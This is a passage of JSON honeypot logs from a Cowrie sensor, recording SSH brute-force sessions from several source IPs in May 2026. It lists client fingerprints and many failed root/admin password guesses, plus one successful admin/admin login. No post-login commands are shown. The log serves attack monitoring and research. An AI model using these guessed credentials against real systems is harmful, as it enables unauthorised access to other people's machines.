{"eventid":"cowrie.login.failed","username":"root","password":"sexylady","message":"login attempt [root/sexylady] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:19.963921Z","src_ip":"213.209.159.158","session":"4cf034838f4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:23.217407Z","src_ip":"213.209.159.158","session":"4cf034838f4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61590,"dst_ip":"10.17.0.5","dst_port":22,"session":"be258ee42522","protocol":"ssh","message":"New connection: 213.209.159.158:61590 (10.17.0.5:22) [session: be258ee42522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:23.309305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:25.758285Z","src_ip":"213.209.159.158","session":"be258ee42522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:25.761742Z","src_ip":"213.209.159.158","session":"be258ee42522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sg!865497483","message":"login attempt [root/Sg!865497483] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:35.604037Z","src_ip":"213.209.159.158","session":"be258ee42522","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:37.190825Z","src_ip":"27.79.44.54","session":"3d4e7f280e2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:39.099988Z","src_ip":"213.209.159.158","session":"be258ee42522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63252,"dst_ip":"10.17.0.5","dst_port":22,"session":"97adae5e416b","protocol":"ssh","message":"New connection: 213.209.159.158:63252 (10.17.0.5:22) [session: 97adae5e416b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:39.178340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:41.588793Z","src_ip":"213.209.159.158","session":"97adae5e416b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:41.592764Z","src_ip":"213.209.159.158","session":"97adae5e416b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sohel123","message":"login attempt [root/sohel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:51.271389Z","src_ip":"213.209.159.158","session":"97adae5e416b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":30093,"dst_ip":"159.203.135.109","dst_port":22,"session":"febc2565663b","protocol":"ssh","message":"New connection: 2.57.121.112:30093 (159.203.135.109:22) [session: febc2565663b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:51.434371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:51.438906Z","src_ip":"2.57.121.112","session":"febc2565663b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:51.538615Z","src_ip":"2.57.121.112","session":"febc2565663b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nagual","message":"login attempt [admin/nagual] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:52.010364Z","src_ip":"2.57.121.112","session":"febc2565663b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"myopia","message":"login attempt [admin/myopia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:53.116532Z","src_ip":"2.57.121.112","session":"febc2565663b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"my3girls","message":"login attempt [admin/my3girls] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:54.219743Z","src_ip":"2.57.121.112","session":"febc2565663b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:54.997972Z","src_ip":"213.209.159.158","session":"97adae5e416b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62386,"dst_ip":"10.17.0.5","dst_port":22,"session":"08a031343e49","protocol":"ssh","message":"New connection: 213.209.159.158:62386 (10.17.0.5:22) [session: 08a031343e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:55.099450Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"my2kids","message":"login attempt [admin/my2kids] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:55.325222Z","src_ip":"2.57.121.112","session":"febc2565663b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"mutt","message":"login attempt [admin/mutt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:56.428881Z","src_ip":"2.57.121.112","session":"febc2565663b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:57.401122Z","src_ip":"213.209.159.158","session":"08a031343e49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:57.405271Z","src_ip":"213.209.159.158","session":"08a031343e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:16:57.531977Z","src_ip":"2.57.121.112","session":"febc2565663b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shane","message":"login attempt [root/shane] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:07.345592Z","src_ip":"213.209.159.158","session":"08a031343e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"70.7","message":"Connection lost after 70.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:07.987818Z","src_ip":"27.79.44.54","session":"3d4e7f280e2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00233387947083,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:09.183817Z","src_ip":"194.180.12.23","session":"2d9180359e30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:10.681339Z","src_ip":"213.209.159.158","session":"08a031343e49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24408,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a6be828bbc6","protocol":"ssh","message":"New connection: 213.209.159.158:24408 (10.17.0.5:22) [session: 8a6be828bbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:10.763993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:12.910904Z","src_ip":"213.209.159.158","session":"8a6be828bbc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:12.914878Z","src_ip":"213.209.159.158","session":"8a6be828bbc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Services","message":"login attempt [root/Services] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:23.073091Z","src_ip":"213.209.159.158","session":"8a6be828bbc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:26.362676Z","src_ip":"213.209.159.158","session":"8a6be828bbc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27994,"dst_ip":"10.17.0.5","dst_port":22,"session":"1156fe4d777e","protocol":"ssh","message":"New connection: 213.209.159.158:27994 (10.17.0.5:22) [session: 1156fe4d777e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:26.440856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:29.164504Z","src_ip":"213.209.159.158","session":"1156fe4d777e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:29.168224Z","src_ip":"213.209.159.158","session":"1156fe4d777e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"siton-2009","message":"login attempt [root/siton-2009] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:38.768736Z","src_ip":"213.209.159.158","session":"1156fe4d777e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:42.491318Z","src_ip":"213.209.159.158","session":"1156fe4d777e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57440,"dst_ip":"10.17.0.5","dst_port":22,"session":"a81171f1a697","protocol":"ssh","message":"New connection: 213.209.159.158:57440 (10.17.0.5:22) [session: a81171f1a697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:42.590007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:44.997194Z","src_ip":"213.209.159.158","session":"a81171f1a697","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.006260Z","src_ip":"213.209.159.158","session":"a81171f1a697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.119.22","src_port":60790,"dst_ip":"10.17.0.5","dst_port":22,"session":"5475ee44e9ac","protocol":"ssh","message":"New connection: 154.16.119.22:60790 (10.17.0.5:22) [session: 5475ee44e9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.219405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.224830Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 